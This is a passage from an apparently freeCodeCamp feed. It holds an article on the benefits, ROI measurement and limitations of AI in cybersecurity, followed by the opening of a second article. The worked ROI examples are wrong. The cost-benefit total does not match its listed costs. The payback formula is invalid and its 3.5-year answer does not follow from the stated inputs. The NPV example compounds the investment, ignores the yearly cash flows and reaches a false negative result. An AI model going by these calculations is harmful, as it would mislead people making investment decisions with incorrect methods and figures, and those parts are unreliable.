<li><a class="post-section-overview" href="#heading-conclusion">Conclusion</a></li>
</ol>
<h2 id="heading-the-promise-and-potential-of-ai-cybersecurity">The Promise and Potential of AI Cybersecurity</h2>
<p>AI has emerged as a promising tool to augment human analysts across several key areas of security operations. Let's look at these areas now.</p>
<h3 id="heading-threat-detection">Threat Detection</h3>
<p>The application of AI methodologies, such as machine learning, has empowered the automatic scrutiny of voluminous datasets sourced from endpoints, networks, and cloud environments. This has enabled the identification of both familiar and previously uncharted threats. </p>
<p>AI systems excel in bringing to the forefront those threats that might elude rules-based systems by flagging anomalies and suspicious behaviors.</p>
<h3 id="heading-automated-response">Automated Response</h3>
<p>In the wake of threat detection, AI seamlessly steps in to trigger automated responses, encompassing actions like the obstruction of malicious IP addresses, sequestering infected endpoints, or deactivating compromised user accounts. </p>
<p>This expedites the process, minimizing the reliance on manual execution of responses by human analysts.</p>
<h3 id="heading-prioritizing-alerts">Prioritizing Alerts</h3>
<p>Security teams are often inundated with a deluge of alerts, leading to potential oversights. </p>
<p>In these cases, AI steps in to play a pivotal role in sifting through the flood of notifications, singling out those that warrant immediate human review due to their urgency or high-fidelity nature. </p>
<p>This judicious prioritization reduces noise and ensures that critical threats do not slip through the cracks.</p>
<h3 id="heading-curbing-false-positives">Curbing False Positives</h3>
<p>The ability of AI algorithms to distinguish between normal and anomalous activities improves over time. Consequently, these algorithms become adept at eliminating false positives that tend to plague rules-based systems. This winnowing of extraneous alerts results in a reduced workload for analysts.</p>
<p>The underlying commonality among these endeavors is that they all use machine learning techniques to unearth concealed threats, navigate through the cacophony of alerts, and free up human capacity to engage in higher-value analytical pursuits.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/08/cybersecurity-cyberpunk-290417660.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-key-benefits-of-ai-in-cybersecurity">Key Benefits of AI in Cybersecurity</h2>
<p>There are many benefits to using AI (properly) on your cybersecurity teams. Here are some of them:</p>
<h3 id="heading-reduced-costs">Reduced Costs</h3>
<p>AI introduces automation into the realm of cybersecurity, effectively tackling the manual and repetitive tasks that have traditionally been the domain of analysts. </p>
<p>Activities that involve meticulously scrutinizing logs, manually establishing correlations between events, and meticulously documenting findings for reporting can now be delegated to AI systems. </p>
<p>This shift results in a lot of time saved for these analysts, and it enables them to channel their energies into more intricate and high-impact investigative endeavors, such as threat hunting and in-depth analysis.</p>
<h3 id="heading-enhanced-response-swiftness">Enhanced Response Swiftness</h3>
<p>The innate capability of AI systems to process and assimilate data more quickly than humans is a significant advantage. These systems can autonomously trigger actions to isolate or obstruct threats the moment they are detected, sidestepping the need for analyst authorization. </p>
<p>This proactive approach drastically truncates the dwell time that malicious actors have at their disposal to maneuver within a compromised environment and inflict harm. </p>
<p>During security incidents, AI's rapid data processing capability enables it to swiftly navigate through copious amounts of information, deducing root causes and pinpointing affected assets.</p>
<h3 id="heading-elevated-precision">Elevated Precision</h3>
<p>The foundational algorithms that underpin AI technology evolve and refine themselves over time, progressively enhancing their ability to discern anomalies. </p>
<p>In comparison to rules-based systems, AI exhibits lower rates of false positives. Through continuous learning and adaptation to the unique intricacies of an organization's environment, AI becomes adept at filtering out noisy alerts. This allows them to present security analysts with high-fidelity indicators of potential threats. </p>
<p>The strategic prioritization of tasks guarantees that the most pressing threats are promptly addressed, contributing to a streamlined response process.</p>
<h3 id="heading-comprehensive-insights">Comprehensive Insights</h3>
<p>AI systems exhibit the capacity to ingest and assimilate a diverse array of data derived from endpoints, servers, networks, cloud environments, and beyond. </p>
<p>By intelligently correlating signals across this multifaceted dataset, AI facilitates the creation of a panoramic perspective of threats spanning hybrid infrastructure. </p>
<p>Security analysts gain an augmented level of visibility and an enhanced capability for proactive threat detection across the entirety of the attack surface. This helps them to be more effective in their threat-hunting endeavors.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/08/cybersecurity-cyberpunk-92869192.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-how-to-quantify-return-on-investment-roi">How to Quantify Return on Investment (ROI)</h2>
<p>You can directly assess your Return on Investment (ROI) if you or your team have invested in AI-driven cybersecurity using a few structured frameworks:</p>
<h3 id="heading-cost-benefit-analysis">Cost-Benefit Analysis</h3>
<p>Cost-Benefit Analysis (CBA) is a systematic process used to compare the advantages (benefits) and disadvantages (costs) of a proposed project, policy, or investment. It helps decision-makers evaluate the potential outcomes of different options and choose the one that offers the best balance of benefits and costs.</p>
<p>The goal of CBA is to quantify the economic, social, and environmental impacts of a proposal and assess its monetary value. This includes estimating the costs of implementing the proposal, as well as the anticipated benefits, such as increased revenues, reduced expenses, improved productivity, or enhanced quality of life.</p>
<h4 id="heading-cost-benefit-analysis-example">Cost-Benefit Analysis Example:</h4>
<p>Let's take a fictional example. Finaxis Corporation is mid-sized financial institution with multiple branches across the country. The company has been experiencing significant growth in recent years, and as a result, they have seen an increase in the number of cyber attacks targeting its systems. </p>
<p>To address this issue, Finaxis Corporation is considering investing in an AI-powered security tool to enhance its existing security measures. </p>
<p>The objective of this CBA is to evaluate the potential costs and benefits of investing in an AI-powered security tool to determine whether the investment is justified.</p>
<p>The costs will involve:</p>
<ul>
<li><strong>Initial Investment:</strong> The cost of purchasing and implementing the AI-powered security tool is estimated to be $500,000.</li>
<li><strong>Ongoing Maintenance Costs:</strong> The annual cost of maintaining and updating the AI-powered security tool is estimated to be $100,000.</li>
<li><strong>Training and Support Costs:</strong> The cost of training Finaxis Corporation's IT staff on how to use the AI-powered security tool effectively is estimated to be $20,000.</li>
<li><strong>Potential Reduction in Productivity:</strong> During the implementation phase, Finaxis Corporation may experience some reduction in productivity due to the learning curve associated with the new technology. This reduction in productivity is estimated to last for three months and is valued at $50,000.</li>
</ul>
<p>The benefits will include:</p>
<ul>
<li><strong>Improved Detection and Prevention of Cyber Attacks:</strong> The AI-powered security tool is expected to detect and prevent cyber attacks more effectively than Finaxis Corporation's current security measures. This will reduce the likelihood of data breaches and minimize the impact of successful attacks.</li>
<li><strong>Reduced False Positives:</strong> The AI-powered security tool is also expected to reduce the number of false positives generated by Finaxis Corporation's current security measures. This will save time and resources that were previously spent investigating and resolving unnecessary alerts.</li>
<li><strong>Enhanced Incident Response:</strong> The AI-powered security tool will provide Finaxis Corporation with real-time threat intelligence and automated incident response capabilities, allowing them to respond quickly and effectively to security incidents.</li>
<li><strong>Compliance:</strong> The AI-powered security tool will help Finaxis Corporation meet regulatory compliance requirements related to cybersecurity, reducing the risk of fines and reputational damage.</li>
<li><strong>Competitive Advantage:</strong> By investing in an AI-powered security tool, Finaxis Corporation will gain a competitive advantage over other financial institutions that do not have access to similar technology.</li>
</ul>
<p>Based on the above calculations, the total expected costs of investing in the AI-powered security tool over five years is $1,320,000 ($500,000 initial investment + $100,000 per year for maintenance and updates + $20,000 for training and support). </p>
<p>On the other hand, the expected benefits of investing in the AI-powered security tool over five years are:</p>
<ul>
<li>Improved detection and prevention of cyber attacks: $2,000,000</li>
<li>Reduced false positives: $500,000</li>
<li>Enhanced incident response: $500,000</li>
<li>Compliance: $200,000</li>
<li>Competitive advantage: $500,000</li>
<li>Total expected benefits: $3,700,000</li>
</ul>
<p>Based on the results of the CBA, investing in an AI-powered security tool is justified. The expected benefits of the investment far outweigh the costs, with a net present value of $2,380,000 over five years. </p>
<p>Also, the investment is expected to pay for itself within two years, and Finaxis Corporation will continue to realize benefits beyond that point. </p>
<p>In this case, we would recommend that Finaxis Corporation proceed with the investment in the AI-powered security tool.</p>
<h3 id="heading-payback-period">Payback Period</h3>
<p>The payback Period is a structured approach to evaluating the profitability of an investment or project by calculating the time it takes for the investment to generate enough returns to equal the amount invested. </p>
<p>The framework typically includes the calculation of the initial investment, expected cash flows, and the payback period itself, which is the time it takes for the cumulative cash flows to equal the initial investment.</p>
<h4 id="heading-payback-period-example">Payback Period Example:</h4>
<p>CyberShield Corporation is a fictional leading provider of cybersecurity solutions, and they are considering investing in an artificial intelligence (AI) platform to enhance their existing security tools. </p>
<p>The AI platform will enable CyberShield to detect and respond to advanced threats more effectively, improve incident response times, and reduce the number of false positives generated by their current systems.</p>
<p><strong>Initial Investment:</strong> The cost of developing and integrating the AI platform into CyberShield's existing security tools is estimated to be $1 million. Additionally, there will be ongoing licensing fees for the use of the AI software, which are expected to be $500,000 per year.</p>
<p><strong>Expected Cash Flows:</strong> CyberShield expects the AI platform to generate the following cash flows over the next five years:</p>
<ul>
<li><strong>Year 1:</strong> Revenue from sales of the AI-enhanced security tools: $2 million. Cost savings from reducing false positives and improving incident response times: $500,000. Total cash flow: $2.5 million</li>
<li><strong>Year 2:</strong> Revenue from sales of the AI-enhanced security tools: $3.5 million. Cost savings from reducing false positives and improving incident response times: $750,000. Total cash flow: $4.2 million</li>
<li><strong>Year 3:</strong> Revenue from sales of the AI-enhanced security tools: $5 million. Cost savings from reducing false positives and improving incident response times: $1 million. Total cash flow: $6 million</li>
<li><strong>Year 4:</strong> Revenue from sales of the AI-enhanced security tools: $6.5 million. Cost savings from reducing false positives and improving incident response times: $1.25 million. Total cash flow: $7.75 million</li>
<li><strong>Year 5:</strong> Revenue from sales of the AI-enhanced security tools: $8 million. Cost savings from reducing false positives and improving incident response times: $1.5 million. Total cash flow: $9.5 million</li>
</ul>
<p>To calculate the payback period, we need to determine when the total cash flows from the investment equal the initial investment. Based on the expected cash flows above, we can calculate the payback period as follows:</p>
<p><code>Payback Period = (Initial Investment / Total Cash Flows) x Number of Years</code></p>
<p>Using the numbers above, we get:</p>
<p><code>Payback Period = ($1 million + $500,000) / ($2.5 million + $500,000 + $750,000 + $1 million + $1.25 million + $1.5 million) x 5</code></p>
<p>Payback Period = 3.5 years</p>
<p>This means that it will take approximately 3.5 years for the investment in the AI platform to pay back the initial investment and ongoing licensing fees. After that point, the cash flows from the investment will exceed the initial investment, resulting in a net gain for CyberShield Corporation.</p>
<p>Based on the payback period analysis, the investment in the AI platform appears to be a good one for CyberShield Corporation. The expected cash flows from the investment will cover the initial investment and ongoing licensing fees within 3.5 years, and the net gain after that point will contribute to the company's bottom line. </p>
<p>But it's important to note that other factors such as risk tolerance, opportunity costs, and strategic alignment should also be considered before making a final decision on the investment.</p>
<h3 id="heading-net-present-value">Net Present Value</h3>
<p>Net Present Value (NPV) is a financial metric that measures the difference between the present value of a series of expected future cash flows and the initial investment required to achieve those cash flows. It represents the total value of an investment at the present day, taking into account the time value of money and the risk associated with the investment.</p>
<p>Here's a generic formula for NPV:<br><code>Net Present Value (NPV) = ∑ (CFt / (1+r)^t) - Initial Investment</code></p>
<p>Where:</p>
<ul>
<li>NPV = Net Present Value</li>
<li>CFt = Cash Flow in Year t</li>
<li>r = Discount Rate</li>
<li>t = Time Period</li>
<li>Initial Investment = The amount of money invested upfront</li>
</ul>
<p>The discount rate (r) reflects the cost of capital or the opportunity cost of investing in the project. It takes into account the risk associated with the investment and the return that could be earned if the funds were invested elsewhere.</p>
<p>The cash flows (CFt) represent the income or revenue generated by the investment over time. These cash flows may be positive or negative, depending on the nature of the investment.</p>
<p>By subtracting the initial investment from the sum of the discounted cash flows, we arrive at the NPV, which represents the total value of the investment at the present day. A positive NPV indicates that the investment is expected to generate more value than the initial investment, while a negative NPV suggests that the investment may not be profitable.</p>
<h4 id="heading-net-present-value-example">Net Present Value Example:</h4>
<p>Paragon Secure Enterprises is a fictional cybersecurity firm that provides threat detection and prevention services to businesses. They are considering investing in an AI-powered threat detection system to improve their ability to identify and mitigate cyber threats. </p>
<p>The system will cost $1 million initially, and the company expects to save $200,000 per year in operating costs due to improved efficiency and accuracy. The system is expected to last for 5 years, and the company anticipates generating additional revenue of $500,000 per year from new customers attracted by the enhanced capabilities of the AI system.</p>
<p>NPV Analysis:</p>
<ul>
<li>Determine the initial investment: $1 million (initial cost of the AI system)</li>
<li>Determine the annual operating costs saved: $200,000 (estimated cost savings due to improved efficiency and accuracy)</li>
<li>Determine the additional revenue generated: $500,000 (estimated additional revenue from new customers)</li>
<li>Determine the discount rate: Assuming a discount rate of 10% per year to account for the time value of money and the risk associated with the investment.</li>
<li>Determine the NPV:<br>First-year: <code>NPV = (-$1 million) x (1 + 0.10)^1 = $-110,000</code><br>Second year: <code>NPV = (-$1 million) x (1 + 0.10)^2 = $-121,000</code><br>Third year: <code>NPV = (-$1 million) x (1 + 0.10)^3 = $-133,000</code><br>Fourth-year: <code>NPV = (-$1 million) x (1 + 0.10)^4 = $-146,000</code><br>Fifth year: <code>NPV = (-$1 million) x (1 + 0.10)^5 = $-160,000</code></li>
<li>Add the NPV for each year: <code>NPV = $-110,000 + $-121,000 + $-133,000 + $-146,000 + $-160,000 = $-660,000</code></li>
<li>Calculate the net present value: <code>NPV = $-660,000</code></li>
</ul>
<p>The NPV of the AI investment is negative, indicating that the investment is not expected to generate a positive return on investment. This is because the initial investment of $1 million is higher than the expected savings and additional revenue generated over the 5 years. </p>
<p>But the company may still choose to invest in the AI system if they believe that the improved threat detection capabilities will provide significant non-financial benefits, such as increased customer trust and loyalty, improved reputation, and better positioning against competitors.</p>
<p>Factors like required timeframes, discount rates, and intangible benefits may influence which framework is most appropriate. But all provide data-driven approaches to evaluate AI cybersecurity returns beyond gut feelings or vendor hype.</p>
<h3 id="heading-essential-metrics-for-roi-assessment">Essential Metrics for ROI Assessment</h3>
<p>The calculation of ROI involves the incorporation of several critical metrics into the evaluation process:</p>
<p><strong>Diminished Breach Costs:</strong> A pivotal component for projecting ROI is the modeling of potential reductions in breach-related expenses facilitated by AI. To do this, you'll need to perform a thorough analysis of existing breach costs, factoring in elements such as the volume of compromised records, system downtime, regulatory penalties, legal expenditures, and recovery outlays. </p>
<p>To enhance the accuracy of this assessment, make sure you benchmark against industry averages. Estimate the anticipated declines across these cost components, stemming from the AI-driven capabilities of automated threat prevention, expedited incident response, and curtailed damage propagation. </p>
<p>For instance, AI-powered machine learning detection might thwart a ransomware attack that could have disrupted operations for 48 hours. The cost avoidance achieved by preventing such downtime should be incorporated. </p>
<p>AI-driven root cause analysis might have confined a breach to 10,000 records instead of 50,000. Quantify the resulting reduction in recovery expenses, penalties, legal actions, and so on. </p>
<p>This meticulous breach cost modeling serves as a solid foundation for substantiating investments in AI cybersecurity and enhancing the precision of ROI projections.</p>
<p><strong>Savings in Analyst Time:</strong> in order to derive ROI from AI, you'll need to perform a comprehensive audit of prevailing analyst workflows to identify avenues for automation. This involves cataloging the hours analysts expend on activities like manual data correlation, incident documentation, false positive investigations, report generation, and other repetitive tasks. </p>
<p>Collaborate with teams to quantify this workload in terms of Full-Time Equivalent (FTE) hours per week. Calculate the potential time savings that arise from replacing these tasks with AI-powered automation. Gauge the potential boost in productivity by reallocating analysts to more strategic undertakings such as strategic planning and threat hunting. </p>
<p>You can also model the potential reduction in costs due to the need for fewer tier 1 analysts, courtesy of automation. Don't forget to factor in the potential for improved employee satisfaction and retention by alleviating human workers of monotonous tasks. </p>
<p>This granular analysis of time savings provides the groundwork for calculating AI's ROI using heightened productivity, optimized workforce allocation, and a more motivated analyst pool.</p>
<p><strong>Enhanced Productivity:</strong> AI's capacity to elevate analyst productivity is compelling. You can calculate projected efficiency enhancements by contrasting the current pace of handling alerts, cases, and incidents with the projected velocity facilitated by AI-based triage and prioritization. </p>
<p>For instance, an AI platform might potentially double the volume of high-fidelity incidents each analyst can manage during a shift. Consider the accelerated response times that could be achieved if analysts exclusively focus on the top 10% of alerts ranked by business risk. You can also account for the productivity gains stemming from reduced turnover and burnout resulting from the elimination of repetitive and tiresome tasks for human workers. </p>
<p>Interview different teams to accurately quantify potential productivity increases based on the time saved by an AI "colleague" handling routine data collation, report writing, and information correlation. Construct models to represent diverse assumptions regarding productivity gains, such as 10%, 25%, or 50% greater throughput. </p>
<p>The precision of these estimates augments leadership's capacity to assess AI's ROI, predicated on its ability to empower security teams to accomplish more.</p>
<p><strong>Reduction in False Positives:</strong> AI-driven cybersecurity can bring with it a reduction in the vexing issue of false positives, which often bedevil conventional defense mechanisms. </p>
<p>Start by quantifying the organization's prevailing false positive rates, grounded in an analysis of threat alerts, IPS events, malware detections, and related data points. Then, gauge the potential reduction predicated on documented enhancements attributed to AI-backed solutions. </p>
<p>For instance, an advanced AI antivirus could potentially reduce false positives by 90%. Calculate the consequent cost savings when analysts spend 50% less time investigating erroneous alerts and system events. You can also factor in the downstream increase in productivity, as analysts redirect their efforts toward proactive threat hunting instead of chasing after false alarms. </p>
<p>It's also worth trying to monetize benefits such as enhanced quality of threat intelligence and fortified vulnerability management facilitated by AI support. </p>
<p>The more precise the evaluation of prevailing pain points associated with false positives, the more compelling the financial justification becomes for AI-powered cybersecurity investments that enhance precision and operational efficiency.</p>
<p>Ideally, estimates should be based on documented use cases, pilot projects, and vendor benchmarks to substantiate the values used in ROI projections.</p>
<h2 id="heading-what-to-consider-when-incorporating-ai-into-your-security-practices">What to Consider When Incorporating AI into Your Security Practices</h2>
<p>There are several potential limitations and risks that warrant careful consideration. Here's what you should think about before incorporating AI into your security practices.</p>
<h3 id="heading-initial-investment">Initial Investment</h3>
<p>Embracing enterprise-level AI capabilities entails substantial upfront investments, which can temper the initial projections of ROI. Prominent AI cybersecurity platforms offered by vendors may carry price tags stretching into the millions when accounting for multi-year licensing fees, necessary hardware upgrades, integration services, training expenditures, and more. </p>
<p>Transitioning encompasses various associated costs, including tasks such as data pipeline aggregation and preparation for AI model training, integration of AI tools with the existing security infrastructure, gradual rollout of production environments, and the training and change management required to familiarize security teams with this novel technology. </p>
<p>Given the substantial capital commitment before reaping benefits, the timeline for payback is extended. Also, the actual realization of the promised AI outcomes in all environments isn't guaranteed. This introduces potential further delays or diminished ROI expectations.</p>
<h3 id="heading-sustaining-operations">Sustaining Operations</h3>
<p>Post-deployment, you'll need to dedicate significant resources to sustain the operation of AI systems and perform continuous maintenance, tuning, and performance enhancement. </p>
<p>The landscape of cyber threats evolves rapidly, which means you'll need to frequently retrain models on new data to detect emerging attack patterns. Adequate resources, including data scientists and machine learning engineers, are essential for maintaining the proper calibration of AI.</p>
<p>If you don't have enough skilled AI professionals on your teams, this can severely impede your efforts to sustain optimal effectiveness and ROI. </p>
<p>The ongoing management of models involves maintaining data pipelines, monitoring shifting model accuracy metrics, re-validation, implementing continuous feedback loops, and more. Neglecting this intricate operational aspect can lead to model deterioration over time. This can also result in heightened false positives, missed threats, and diminished productivity (and ultimately hampering ROI attainment). </p>
<p>Maintaining maximum ROI from AI cybersecurity is not a simple plug-and-play proposition. Rather, it demands experienced personnel to vigilantly monitor, validate, and elevate the AI throughout its operational lifespan.</p>
<h3 id="heading-lack-of-transparency">Lack of Transparency</h3>
<p>Many AI systems rely upon intricate algorithms that often function as black boxes, with limited transparency into the rationale behind certain outputs, predictions, or conclusions. </p>
<p>This lack of transparency poses a significant challenge for cybersecurity teams adopting AI, as they struggle with not being able to scrutinize the foundations of machine-generated recommendations. </p>
<p>If you can't see into the AI's decision-making process, rectifying inaccurate results, addressing bias, or resolving performance issues becomes increasingly complex. Teams might hesitate to trust insights from an AI system they cannot fully comprehend. </p>
<p>The deficiency in explainability also negatively impacts the comprehensive optimization of models over time. Without precise insight into why and how the AI detects threats, the feedback loop necessary for incremental accuracy enhancement is stunted. </p>
<p>While there have been improvements in the realm of explainable AI to illuminate these black boxes, the technology remains nascent, particularly for intricate deep-learning applications within cybersecurity. The opacity characterizing numerous leading AI systems today serves as an impediment to maximizing and visibly demonstrating measurable ROI.</p>
<h3 id="heading-novel-attack-surfaces">Novel Attack Surfaces</h3>
<p>The integration of AI introduces potential new attack surfaces that were absent in previous paradigms. Adversarial entities are actively devising strategies to evade and manipulate machine learning models through techniques such as data poisoning, model evasion, and algorithm reverse engineering. </p>
<p>For instance, adversaries could subtly corrupt training data over time to amplify false negatives within a threat detection model. They could also identify blind spots in models and orchestrate attacks designed to circumvent detection. </p>
<p>In response, cybersecurity teams would need to persistently monitor, patch, and retrain models to counter an ever-evolving set of AI-targeted attacks. This adversarial cat-and-mouse dynamic can augment costs, negatively impacting ROI. </p>
<p>Also, the potential that AI failures or erroneous predictions may incite unforeseen security incidents because of unanticipated vulnerabilities poses an additional risk. Like any nascent technology, you must judiciously weigh the latent risks and costs associated with a dynamically evolving threat landscape shaped by AI when forecasting ROI.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/08/cybersecurity-cyberpunk-836121798.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-gaps-in-the-technology-and-hurdles-to-overcome">Gaps in the Technology and Hurdles to Overcome</h2>
<h3 id="heading-quality-of-data">Quality of Data</h3>
<p>One prominent drawback of AI systems lies in their reliance on substantial volumes of high-quality data for effective training. Data that's noisy, biased, incomplete, or laden with errors can profoundly undermine the accuracy of models and lead to erroneous outputs. </p>
<p>For instance, an algorithm for threat detection trained on data inadvertently skewed toward certain anomaly patterns might overlook genuine threats that don't conform to those patterns. The presence of data gaps or irregularities within network traffic logs, endpoint telemetry, or other data sources can further curtail the real-world efficacy of AI. </p>
<p>The process of cleaning and preparing enterprise data for AI deployment is intricate and time-intensive. And the expenses associated with sustaining the infrastructure, competencies, and governance essential for continual data management and operations are considerable. </p>
<p>If you don't address issues of data quality issues right from the outset, your cybersecurity teams may struggle with the challenge of translating AI investments into tangible ROI.</p>
<p>Key emphasis areas include:</p>
<ul>
<li>Establishing pipelines for filtering, normalizing, and labeling training data sets.</li>
<li>Ongoing vigilance in monitoring data quality and indicators of model performance.</li>
<li>Cultivating in-house proficiency in AI and data science for meticulous model validation.</li>
<li>Ensuring the diversity, comprehensiveness, and precision of data flows nourishing AI systems.</li>
</ul>
<h3 id="heading-explainability-dilemmas">Explainability Dilemmas</h3>
<p>A notable impediment to realizing the fullest potential of AI cybersecurity investments stems from the inherent black-box nature of many machine learning algorithms. The intricate mechanics that underscore models like deep neural networks remain highly inscrutable. </p>
<p>As a consequence, security teams are left with minimal insight into the logic driving AI's conclusions or determinations, such as the decision to block certain traffic or flag particular anomalies. </p>
<p>This lack of explainability profoundly obstructs efforts to troubleshoot inaccurate detections, identify latent biases, and continuously enhance real-world performance. </p>
<p>If team members don't understand the rationale behind AI outcomes, this can foster inherent distrust in the system's recommendations among analysts. </p>
<p>The constraints in explainability also impede meticulous audits for governance and compliance requisites. The process of ongoing model optimization is stymied when the factors influencing outputs remain within black boxes. </p>
<p>While emerging techniques like LIME and Shapley values aim to unveil the decision-making processes of AI, many tools still lack robust built-in features for explainability. Confronting these challenges will be pivotal in showcasing quantifiable ROI and securing buy-in from cybersecurity professionals.</p>
<p>Critical areas of focus comprise:</p>
<ul>
<li>Prioritizing AI vendors that embrace algorithms and models with heightened transparency.</li>
<li>Leveraging explainability techniques to audit models and quantify areas of obscurity.</li>
<li>Effectively conveying insights that come from explainable AI to bolster user trust.</li>
<li>Incorporating considerations of explainability into the design requirements of AI products.</li>
</ul>
<h3 id="heading-introducing-novel-vulnerabilities">Introducing Novel Vulnerabilities</h3>
<p>Beyond the technical intricacies, incorporating AI can inadvertently unveil fresh attack surfaces and vectors if appropriate security measures are not meticulously applied. </p>
<p>Much like any other technological advancement, threat actors are poised to exploit AI and machine learning in the presence of these vulnerabilities. </p>
<p>For instance, attackers might gradually compromise the data pipeline that feeds models, progressively undermining the accuracy of detection over time. They could also unveil blind spots in models and contrive attacks meticulously designed to elude AI algorithms. </p>
<p>The absence of exhaustive testing and simulated attacks during the developmental phase could lead to unforeseen vulnerabilities resulting in hazardous incidents. </p>
<p>The complexity of AI systems also widens the scope for misconfigurations, software susceptibilities, and integration discrepancies that attackers could capitalize on. </p>
<p>Like other security tools, AI components demand continual patching, fortification, monitoring, and redundancy to manage emerging risks. Failing to implement robust cybersecurity practices tailored to AI could potentially negatively affect ROI by escalating the likelihood or expenses of breaches. Proactively identifying and mitigating these potential downsides is important.</p>
<p>Key focal points comprise:</p>
<ul>
<li>Undertaking red teaming and adversarial simulations to unearth AI vulnerabilities.</li>
<li>Safeguarding data inputs and the machine learning training pipeline through comprehensive measures.</li>
<li>Vigilantly monitoring AI behavior to detect anomalies suggestive of manipulation attempts.</li>
<li>Developing bespoke security controls for AI systems and their interfaces.</li>
</ul>
<h3 id="heading-skills-requirements">Skills Requirements</h3>
<p>If you want to continue to derive value from AI in cybersecurity, you'll need to assemble teams that possess the optimal blend of competencies. The operation of enterprise-level AI requires the involvement of accomplished data scientists, machine learning engineers, data analytics experts, and infrastructure specialists. </p>
<p>But the availability of such specialized expertise remains limited despite the heightened demand, which consequently drives up salary expenses. </p>
<p>There's also a steep learning curve for existing security analysts transitioning to work alongside AI. Insufficient training and the absence of effective change management can get in the way of adoption, either because of distrust or an inadequate understanding of the tools. </p>
<p>Analysts might mistakenly rely on or misinterpret the AI without the necessary guidance. So ensuring effective oversight is imperative to guarantee that AI indeed augments teams as intended. </p>
<p>The combination of securing specialized AI talent and facilitating the upskilling of the broader cybersecurity workforce is crucial, as the costs and complexities associated with necessary organizational change management should not be underestimated. </p>
<p>For numerous companies, the human capital challenges associated with AI can substantially erode the envisaged ROI if they're not properly prepared for it.</p>
<p>Critical areas of emphasis comprise:</p>
<ul>
<li>Implementing strategies encompassing competitive remuneration, robust professional development, and retention initiatives for AI talent.</li>
<li>Delivering comprehensive training to all members of security teams interfacing with AI technology.</li>
<li>Establishing explicit policies delineating role-based responsibilities and models for oversight.</li>
<li>Measuring and devising incentives to foster effective AI adoption within the human team.</li>
</ul>
<h3 id="heading-human-expertise-remains-pivotal">Human Expertise Remains Pivotal</h3>
<p>While AI furnishes notable benefits in terms of automation and augmentation, human expertise remains indispensable. </p>
<p>AI offers recommendations and insights rather than definitive conclusions. Analysts must validate anomalies, contextualize machine-generated outputs, and make nuanced risk assessments. </p>
<p>Proficient security professionals are indispensable for interpreting AI-generated insights, conducting supplementary threat hunting, identifying model limitations, and continually providing feedback to elevate performance.</p>
<p>In the absence of human guidance, AI systems could potentially reach statistically valid yet contextually invalid decisions. They also lack the perceptiveness to discern subtleties. </p>
<p>Long-term success requires the collaboration of experienced practitioners with AI systems, rather than their outright replacement. If organizations fall into the trap of minimizing human roles and over-relying on AI automation, the tools may not fulfill their potential. Striking an optimal equilibrium is crucial to extract maximal ROI. </p>
<p>While AI proficiently handles data-intensive tasks, it is not a plug-and-play panacea for cybersecurity. Sustaining adept human involvement remains pivotal to responsibly realize the benefits.</p>
<p>Vital areas of concentration encompass:</p>
<ul>
<li>Crafting guidelines for harmonious human-AI collaboration and delineating points of work transition.</li>
<li>Quantifying the percentage of decisions that require human judgment.</li>
<li>Establishing processes to perpetually garner analyst feedback on AI performance.</li>
<li>Devising incentives and conducting training to foster effective partnerships between human experts and AI.</li>
</ul>
<p>To actualize the potential of AI in cybersecurity, organizations must maintain a realistic perspective that acknowledges the actual gaps and challenges in contrast to the prevailing hype. </p>
<p>An approach grounded in pragmatism that's focused on complementing and empowering human expertise, remains judicious.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/08/cybersecurity-cyberpunk-487306926.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>In summary, AI holds substantial potential to elevate cybersecurity efforts and confer palpable business benefits. But it's imperative to recognize that AI isn't a panacea. Before embarking on widespread adoption, organizations must undertake an objective evaluation of the advantages of the costs and limitations.</p>
<p>When judiciously implemented, AI can alleviate the burden on human analysts, increase the precision of threat detection, expedite response durations, and furnish a comprehensive view across the infrastructure. This directly translates to reduced breach costs, enhanced risk management, and heightened operational efficiency in the realm of security.</p>
<p>Still, it's important to acknowledge that AI systems demand extensive data preparation, persistent monitoring, security fortification, and seamless integration with existing toolsets. The upfront and ongoing costs necessitate careful consideration of potential cost savings and productivity enhancements.</p>
<p>A rigorous methodology founded upon data-informed business justifications, well-measured pilot initiatives, and robust performance metrics is a cornerstone for triumph. </p>
<p>It's crucial to perceive AI as an augmentation and a force multiplier, rather than a substitute for proficient security analysts. The effectiveness of AI systems is inexorably linked to the competence of the humans tasked with overseeing and optimizing them.</p>
<p>In shaping AI strategies, leaders in the realm of cybersecurity should direct their focus toward empowering analysts to execute their responsibilities with augmented efficiency and effectiveness. With a pragmatic and meticulously planned trajectory, organizations can harness the potential of AI to gain a strategic edge in countering ever-evolving, sophisticated threats.</p>
<p>You can follow me on <a target="_blank" href="https://twitter.com/SonyaMoisset">Twitter</a>, <a target="_blank" href="https://www.linkedin.com/in/sonyamoisset/">LinkedIn</a> or <a target="_blank" href="https://linktr.ee/sonyamoisset">Linktree</a>. Don't forget to <strong>#GetSecure</strong>, <strong>#BeSecure</strong> &amp; <strong>#StaySecure</strong>!</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How Security Analysts Can Use AI in Cybersecurity ]]>
                </title>
                <description>
                    <![CDATA[ Artificial intelligence (AI) has been a game-changer in cybersecurity. It has revolutionized the approach to cybersecurity by providing advanced techniques to detect and mitigate cyber threats.  The use of AI in cybersecurity is increasing rapidly, w... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-use-artificial-intelligence-in-cybersecurity/</link>
                <guid isPermaLink="false">66ba30ffd8f1b6513f6738ad</guid>
                
                    <category>
                        <![CDATA[ Artificial Intelligence ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Sonya Moisset ]]>
                </dc:creator>
                <pubDate>Wed, 24 May 2023 20:58:02 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2023/05/_71704ac1-39a2-4892-875c-0f342230ec89.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Artificial intelligence (AI) has been a game-changer in cybersecurity. It has revolutionized the approach to cybersecurity by providing advanced techniques to detect and mitigate cyber threats. </p>
